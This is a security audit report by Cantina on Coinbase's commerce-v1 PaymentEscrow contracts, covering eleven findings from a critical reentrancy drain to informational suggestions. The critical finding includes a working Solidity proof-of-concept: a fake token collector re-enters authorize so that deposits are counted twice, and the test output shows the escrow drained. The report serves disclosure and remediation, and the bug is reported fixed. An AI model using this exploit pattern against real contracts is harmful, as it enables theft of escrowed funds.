Commerce v1

Security Review

Cantina Managed review by:

Noah Marconi, Lead Security Researcher

Tnch, Security Researcher

Ryan (rscodes), Associate Security Researcher

May 1, 2025

Contents

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

Cantina Managed provides a detailed evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While Cantina Managed endeavors to identify and disclose all potential security issues, it cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities that were absent during the initial review. Therefore, any changes made to the code require a new security review to ensure that the code remains secure. Please be advised that the Cantina Managed security review is not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity	Description
Critical	*Must* fix as soon as possible (if already deployed).
High	Leads to a loss of a significant portion (>10%) of assets in the protocol, or significant harm to a majority of users.
Medium	Global losses <10% or losses to only a subset of users, but still unacceptable.
Low	Losses will be annoying but bearable. Applies to things like griefing attacks that can be easily repaired or even gas inefficiencies.
Gas Optimization	Suggestions around gas saving practices.
Informational	Suggestions around best practices or readability.

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above table. Critical findings have a high likelihood of being exploited and must be addressed immediately. High findings are almost certain to occur, easy to perform, or not easy but highly incentivized thus must be fixed as soon as possible.

Medium findings are conditionally possible or incentivized but are still relatively likely to occur and should be addressed. Low findings a rare combination of circumstances to exploit, or offer little to no incentive to exploit but are recommended to be addressed.

Lastly, some findings might represent objective improvements that should be addressed but do not impact the project's overall security (Gas and Informational findings).

2 Security Review Summary

Coinbase is a secure online platform for buying, selling, transferring, and storing cryptocurrency.

From Apr 2nd to Apr 5th the Cantina team conducted a review of commerce-v1 on commit hash f44d4073. The team identified a total of **11** issues:

Issues Found

Severity	**Count**	**Fixed**	**Acknowledged**
Critical Risk	1	1	0
High Risk	0	0	0
Medium Risk	0	0	0
Low Risk	1	0	1
Gas Optimizations	0	0	0
Informational	9	2	7
Total	**11**	**3**	**8**

3 Findings

3.1 Critical Risk

3.1.1 Attackers can drain the contract by passing in a `tokenCollector` of their choice into `authorize` to get a callback

Severity: Critical Risk

Context: PaymentEscrow.sol#L382-L398

Vulnerability Details: In `authorize` any user can call it with `paymentInfo.operator == themselves` and also provide a `tokenCollector` of their choice. Hence, the contract adds a `escrowBalanceAfter` and a `escrowBalanceBefore` check in `_collectTokens`, to make sure that the user's choice of tokenCollector did actually transfer in the tokens to prevent existing tokens escrowed in the contract from being drained.

However, the user can pass in a fake `tokenCollector` in the parameter, receive a callback and drain the contract by making the contract record the inflow "twice" using reentrancy.

Sequence of Attack:

1. Let's say contract has 10,000 usdc escrowed in it.
2. Attacker calls `authorize` (passing in paymentInfo.operator = attacker address, tokenCollector = attacker's own tokenCollector, amount = 10,000).
3. in _collectTokens, escrowBalanceBefore = 10,000.
4. calls the attacker's tokenCollector's `collectTokens` which could give the attacker a callback.
5. Attacker commits re-entrancy by calling `authorize` again.
6. in _collectTokens, escrowBalanceBefore = 10,000.
7. Then it calls attacker's tokenCollector's `collectTokens` again. The attacker now sends 10,000 usdc to the contract.
8. escrowBalanceAfter = 20,000 which fulfills the check.
9. In the original trace, escrowBalanceAfter also becomes 20,000, fulfilling the check.

So now, the attacker can call `capture` 2 times and get `2 * 10,000 usdc` back while only giving `10,000 usdc` to the contract. Hence, attacker can drain the contract.

Proof of Concept: create a new file in the `test/src/PaymentEscrow/authorize` folder.

```solidity
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.13;

import {PaymentEscrowSmartWalletBase} from "../../../base/PaymentEscrowSmartWalletBase.sol";
import {PaymentEscrow} from "../../../../src/PaymentEscrow.sol";
import {SafeTransferLib} from "solady/utils/SafeTransferLib.sol";
import {PreApprovalPaymentCollector} from "../../../../src/collectors/PreApprovalPaymentCollector.sol";
import {ERC20UnsafeTransferTokenCollector} from "../../../../test/mocks/ERC20UnsafeTransferTokenCollector.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {TokenCollector} from "../../../../src/collectors/TokenCollector.sol";
import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";

contract ReentrancyApproveTest is PaymentEscrowSmartWalletBase {
    function test_ReEntrancy() public {
        /* real authorize by victim */
        address victim = address(0x123);
        mockERC3009Token.mint(victim, 10 ether);

        PaymentEscrow.PaymentInfo memory paymentInfo =
            _createPaymentEscrowAuthorization(victim, 10 ether, address(mockERC3009Token));
        // Pre-approve in escrow
        vm.prank(victim);
        PreApprovalPaymentCollector(address(hooks[TokenCollector.ERC20])).preApprove(paymentInfo);

        vm.prank(victim);
        mockERC3009Token.approve(address(hooks[TokenCollector.ERC20]), 10 ether);

        // Authorize with ERC20Approval method
        vm.prank(operator);
        paymentEscrow.authorize(paymentInfo, 10 ether, hooks[TokenCollector.ERC20], "");

        assertEq(mockERC3009Token.balanceOf(address(paymentEscrow)), 10 ether); // Victim's 10 ether is in the
        ↪  escrow
        /* victim transactions ends */

        address hacker = address(0x456);
        mockERC3009Token.mint(hacker, 10 ether);
        FakeTokenCollector fakeTokenCollector = new FakeTokenCollector(address(paymentEscrow));

        console.log("Initial Hacker Balance:     ", mockERC3009Token.balanceOf(hacker));
        operator = hacker; //anyone can be operator, hacker will now pass in their own address under the hacker
        ↪  parameter
        receiver = hacker;
        feeReceiver = hacker;
        paymentInfo = _createPaymentEscrowAuthorization(hacker, 10 ether, address(mockERC3009Token));

        vm.prank(hacker);
        mockERC3009Token.approve(address(fakeTokenCollector), 10 ether);

        vm.prank(operator);
        paymentEscrow.authorize(paymentInfo, 10 ether, address(fakeTokenCollector), "");

        vm.startPrank(operator);
        paymentEscrow.capture(paymentInfo, 10 ether, paymentInfo.minFeeBps, paymentInfo.feeReceiver);
        paymentInfo.salt += 1;
        paymentEscrow.capture(paymentInfo, 10 ether, paymentInfo.minFeeBps, paymentInfo.feeReceiver);
        vm.stopPrank();

        console.log("After attack Hacker Balance:", mockERC3009Token.balanceOf(hacker));
        console.log("Final Escrow Balance:       ", mockERC3009Token.balanceOf(address(paymentEscrow)));
    }
}

contract FakeTokenCollector is Test, TokenCollector {
    constructor(address _paymentEscrow) TokenCollector(_paymentEscrow) {}
    bool called = false;

    function collectTokens(
        bytes32 paymentInfoHash,
        PaymentEscrow.PaymentInfo calldata paymentInfo,
        uint256,
        bytes calldata
    ) external override onlyPaymentEscrow {
        if(!called) {
            called = true;
            PaymentEscrow.PaymentInfo memory paymentInfo2 = paymentInfo; //coz calldata is read-only
            paymentInfo2.salt += 1; //to avoid hash repeat
            vm.prank(paymentInfo2.operator); //give callback to operator(which is just the hacker)
            paymentEscrow.authorize(paymentInfo2, 10 ether, address(this), "");
        } else {
            IERC20(paymentInfo.token).transferFrom(paymentInfo.payer, address(paymentEscrow),
            ↪  paymentInfo.maxAmount);
        }
    }
    function collectorType() external pure override returns (TokenCollector.CollectorType) {
        return TokenCollector.CollectorType.Payment;
    }
}
```

Run `forge test --mt test_ReEntrancy -vv`.

```
[PASS] test_ReEntrancy() (gas: 2098814)
Logs:
  Initial Hacker Balance:      10000000000000000000
  After attack Hacker Balance: 20000000000000000000
  Final Escrow Balance:        0
```

Impact: Allows attacker to drain the contract.

Likelihood: Any malicious user can commit this attack.

Other Attack Paths to note:

- `charge` → `authorize` is also possible. (as the inner `authorize` doesn't distribute the liquidity immediately, the delta will be recorded as well in the original `charge` call).

- `refund` → `authorize` is also possible as well for the same reason as above.
- ERC3009PaymentCollector.sol#L84 through `multicall3.tryAggregate` is another possible callback users can use.
- Also `collectTokens` of `SpendPermissionPaymentCollector.sol` is able to give the user a callback as well, because of the `_execute` calls that it eventually calls.

Recommendation: Use re-entrancy locks on all the functions that calls `_collectTokens`. Another optional alternative fix would be to change `escrowBalanceBefore` to a storage mapping: `expectedBalance[token]`, that way the inner reentered call will increment the storage amount and in the original trace the `expectedBalance[token] += amount <= balanceAfter` will revert accordingly.

Coinbase: Fixed in PR 44.

Cantina Managed: Fix verified.

3.2 Low Risk

3.2.1 Push payments can result in DoS and fee griefing

Severity: Low Risk

Context: PaymentEscrow.sol#L406-L412

Description: The escrow operation uses a push payment model where both fees and recipient payments are **pushed** to the destination addresses, rather than **pulled** by the respective accounts. For normal operation, this is a convenient method of finalizing the state machine and accounting at once. There are edge cases where the push payments can be problematic, namely surrounding the USDC blacklist (and related behavior for other tokens).

`_distributeTokens` can revert when the Operator does not perform the following offchain validations:

- `feeReceiver` is not on the blacklist.
- `receiver` is not on the blacklist.
- the token contract is not paused.

Given the payer can set an arbitrary `feeReceiver`, the only defence against a DoS on the `capture` function is the Operator. Likewise, a malicious payer can grief the operator and prevent them from receiving fees by including a `receiver` on the USDC blacklist.

Even with realtime monitoring, a minor griefing can occur each time the blacklist is updated by Circle by frontrunning the update transaction to insert a soon to be blacklisted `feeReceiver` or `receiver`.

Recommendation: Weigh the UX and gas cost implications of moving to pull payments, or fallback to pull payment on failure. Regardless, validating of the `feeReceiver` offchain will be important for the Operator as the `PaymentInfo` is the source of truth for who receives the fee payment.

Coinbase: Acknowledged. A good callout for us to address with documentation or with offchain checks in operator service if accepting arbitrary values for these potential DoS-inducing states.

Cantina Managed: Acknowledged.

3.3 Informational

3.3.1 Defence in depth by pulling payment from collectors

Severity: Informational

Context: PaymentEscrow.sol#L394-L397

Description: If gas is not a primary concern, as it is with higher frequency trading etc., some risks could be mitigated by using `transferFrom` to move assets from the collector to the escrow (pull vs push). Another findings recommend a reentrancy guard to close off particular attack surface areas. This issue would be a second defence against the same attack. The balance before/after check is required even if the above change is adopted in order to handle fee on transfer tokens.

Coinbase: Acknowledged. We're skipping this fix due to feeling like it's redundant given other fixes. It also wouldn't flow as well given a new approach we're considering that will also add defense in depth by fragmenting operator liquidity into separate "treasury" contracts. See PR 37 which contains this approach, which would require each operator treasury to pull the tokens directly instead of the escrow contract, which is doable but would introduce another external call.

Cantina Managed: Acknowledged.

3.3.2 Consider admin approved collectors

Severity: Informational

Context: PaymentEscrow.sol#L391

Description: Collector validation consists of enforcing the function interface. Operators may choose the relevant collector, and even write their own. To reduce potential attack vectors, the protocol could be modified to allow only pre-approved collectors. This would mean that if a vulnerability was discovered, an attacker could no longer use their own Collector contract to exploit.

The external `_collectTokens` makes to validate the correct `collectorType` can be replaced with an internal check against pre-approved collector addresses. The type checking can still occur when the admin pre-approves each collector address.

Coinbase: Acknowledged. We're avoiding administrative privilege in this protocol at almost all costs.

Cantina Managed: Acknowledged.

3.3.3 Operator Trust Assumptions

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: It is worth documenting the trust assumptions surrounding the operators. Their role in the system is a privileged role in that the payments to a receiver cannot complete without them, and the specifics of the final payment are determined entirely by the operator.

The operator a payer signs off on may:

- Censor a transaction.
- Maliciously allow a payment reach its `authorizationExpiry`.
- `capture` a dust amount griefing the transaction for both the payer and receiver.
- Select which collector is used (perhaps burning an approval amount the payer intended to be used for a different tx).

Recommendation: Document the trust assumptions and extend with additional known trust assumptions.

Coinbase: Acknowledged.

Cantina Managed: Acknowledged.

3.3.4 `maxAmount` can be a `uint120` instead

Severity: Informational

Context: PaymentEscrow.sol#L28

Summary: Since `amount` is enforced to be <= `type(uint120).max`, there is no need for `maxAmount` in the `PaymentInfo` struct to be an `uint256`. For consistency, it would be good to have `maxAmount` as an `uint120` type as well. Considering that the `PaymentInfo` struct is hashed in almost every single function that it is passed in to, this might save gas as well.

Recommendation:

```diff
- uint256 maxAmount;
+ uint120 maxAmount;
```

Coinbase: Fixed in PR 42.

Cantina Managed: Fix verified.

3.3.5 Inaccurate docstrings, comments and errors

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: Some docstrings, comments and errors throughout the codebase do not correctly describe the code's actual behavior. Namely:

- The inline comment in PaymentEscrow.sol#L356 should say `Update refundable amount`.
- The docstring in PaymentEscrow.sol#L334 should say `Can only be called by the operator`.
- The docstring in PaymentEscrow.sol#L295 should say `Can only be called by the operator`.
- The `InvalidSignature` error in SpendPermissionPaymentCollector.sol#L52 may not reflect the actual failed condition. Because when the external call to `SpendPermissionManager::approveWithSignature` returns `false` (instead of reverting), it means the signature is valid but the spend permission is already revoked.

Recommendation: Review and fix the mentioned docstrings, comments and errors.

Coinbase: Fixed in PR 42.

Cantina Managed: Fix verified.

3.3.6 Arbitrary call during token collection in `ERC3009PaymentCollector` contract

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: The `collectTokens` function of the `ERC3009PaymentCollector` contract, before pulling tokens, intends to first execute the "preparation call" for ERC6492 signature validation. To do so, it calls the internal `_handleERC6492Signature` function.

This function takes a set of bytes which, among other pieces of data, is expected to contain an ABI-encoded `prepareTarget` address and `preparePayload` set of bytes. Once decoded, the contract then calls `prepareTarget` using `preparePayload` as calldata, via the `Multicall3` contract, but without any kind of additional validation on these caller-supplied parameters.

This kind of arbitrary calls without restrictions on targets and calldata are usually discouraged. While in the limited time of this review we did not uncover any realistic threats posing a security risk to the system, out of an abundance of caution and to reduce potential attack surface, we'd still advise to consider narrowing down the set of possible interactions. This could be done by only allowing calls that target specific, well-known, trusted contracts with validated payloads as calldata. Do note that in the ERC6492 specification, this call is already somewhat restricted - only intended to target a factory with the necessary calldata to create a contract wallet.

Recommendation: Consider narrowing down the scope of possible interactions for the arbitrary call in `ERC3009PaymentCollector` to reduce potential attack surface. Also, consider better documenting expected use cases.

Coinbase: Acknowledged, no change. Token collectors willing to handle 6492 signatures must be implemented in a way that does not give them any additional power over other addresses as this could immediately be abused by such an open-ended call.

Cantina Managed: Acknowledged.

3.3.7 Untested flow in `SpendPermissionPaymentCollector` when there's no approval signature nor encoded withdraw request

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: The `SpendPermissionPaymentCollector` token collector allows an operator to collect tokens from a payer using spend permissions. When there's no `signature` nor `encodedWithdrawRequest` in the operator-supplied `collectorData`, the `SpendPermissionPaymentCollector` contract assumes there's a prior approval already done by the payer, which should allow the call to `SpendPermissionManager::spend`.

However, this scenario where both `signature.length` and `encodedWithdrawRequest.length` are zero is not covered in the test suite.

Recommendation: To increase test coverage and make sure this scenario works as intended, consider extending the test suite to include the mentioned test cases. Here we provide some possible implementations extending what's already done in `test/src/PaymentEscrow/authorize/SpendPermission.t.sol`:

1. No signature, no encoded withdraw request, with a regular prior approval (i.e., having called `SpendPermissionManager::approve`):

```
function test_succeeds_withPriorApproval(uint256 maxAmount, uint256 amount) public {
    // Get wallet's current balance
    uint256 walletBalance = mockERC3009Token.balanceOf(address(smartWalletDeployed));

    // Assume reasonable values
    vm.assume(walletBalance >= maxAmount && maxAmount >= amount && amount > 0);

    // Create payment info with SpendPermission auth type
    PaymentEscrow.PaymentInfo memory paymentInfo = _createPaymentEscrowAuthorization({
        payer: address(smartWalletDeployed),
        maxAmount: maxAmount,
        token: address(mockERC3009Token)
    });

    // Create and sign the spend permission
    SpendPermissionManager.SpendPermission memory permission = _createSpendPermission(paymentInfo);

    vm.prank(address(smartWalletDeployed));
    spendPermissionManager.approve({
        spendPermission: permission
    });

    // Record balances before
    uint256 walletBalanceBefore = mockERC3009Token.balanceOf(address(smartWalletDeployed));
    uint256 escrowBalanceBefore = mockERC3009Token.balanceOf(address(paymentEscrow));

    // Submit authorization
    vm.prank(operator);
    paymentEscrow.authorize(paymentInfo, amount, hooks[TokenCollector.SpendPermission], abi.encode("",
    ↪  ""));

    // Verify balances
    assertEq(
        mockERC3009Token.balanceOf(address(smartWalletDeployed)),
        walletBalanceBefore - amount,
        "Wallet balance should decrease by amount"
    );
    assertEq(
        mockERC3009Token.balanceOf(address(paymentEscrow)),
        escrowBalanceBefore + amount,
        "Escrow balance should increase by amount"
    );
}
```

2. Similarly, no signature, no encoded withdraw request, with a prior approval signature-based (i.e., having called `SpendPermissionManager::approveWithSignature`):

```
function test_succeeds_withPriorApprovalWithSignature(uint256 maxAmount, uint256 amount) public {
    // Get wallet's current balance
    uint256 walletBalance = mockERC3009Token.balanceOf(address(smartWalletDeployed));

    // Assume reasonable values
    vm.assume(walletBalance >= maxAmount && maxAmount >= amount && amount > 0);

    // Create payment info with SpendPermission auth type
    PaymentEscrow.PaymentInfo memory paymentInfo = _createPaymentEscrowAuthorization({
        payer: address(smartWalletDeployed),
        maxAmount: maxAmount,
        token: address(mockERC3009Token)
    });

    // Create and sign the spend permission
    SpendPermissionManager.SpendPermission memory permission = _createSpendPermission(paymentInfo);

    bytes memory signature = _signSpendPermission(
        permission,
        DEPLOYED_WALLET_OWNER_PK,
        0 // owner index
    );

    spendPermissionManager.approveWithSignature({
        spendPermission: permission,
        signature: signature
    });

    // Record balances before
    uint256 walletBalanceBefore = mockERC3009Token.balanceOf(address(smartWalletDeployed));
    uint256 escrowBalanceBefore = mockERC3009Token.balanceOf(address(paymentEscrow));

    // Submit authorization
    vm.prank(operator);
    paymentEscrow.authorize(paymentInfo, amount, hooks[TokenCollector.SpendPermission], abi.encode("",
    ↪  ""));

    // Verify balances
    assertEq(
        mockERC3009Token.balanceOf(address(smartWalletDeployed)),
        walletBalanceBefore - amount,
        "Wallet balance should decrease by amount"
    );
    assertEq(
        mockERC3009Token.balanceOf(address(paymentEscrow)),
        escrowBalanceBefore + amount,
        "Escrow balance should increase by amount"
    );
}
```

Coinbase: Acknowledged. We have yet to comprehensively address test coverage.

Cantina Managed: Acknowledged.

3.3.8 Consider pinning later solidity version

Severity: Informational

Context: PaymentEscrow.sol#L2

Description: The project uses a floating pragma at `^0.8.13` and relies on features like the `transient` declaration only available in later versions. Considering selecting a later version and pinning rather than using floating pragma.

Coinbase: Acknowledged. Project compiles at `v0.8.28` due to dependencies, so bumping version to `0.8.28`. Maintaining floating pragma for easier forward compatibility for potential integrations.

Cantina Managed: Acknowledged.

3.3.9 No token contract existence check in `SafeTransferFrom`

Severity: Informational

Context: MagicSpend/tree/caret-0.8.23/lib, SafeTransferLib.sol#L178-L199

Description: Looking at the `MagicSpend` lib used by the contract we can see that the version is SafeTransferLib.sol#L178-L199.

The old Solady version does not enforce that the token address exists and hence open doors for exploits involving malicious users frontrunning calls, right before the token gets created.

- Since its using the old Solady version, the `safeTransferFrom` does not enforce the existence and hence doesn't revert.

Recommendation: Consider looking at new Solady versions.

Coinbase: Acknowledged. Something to address in updates to our `MagicSpend` contract.

Cantina Managed: Acknowledged.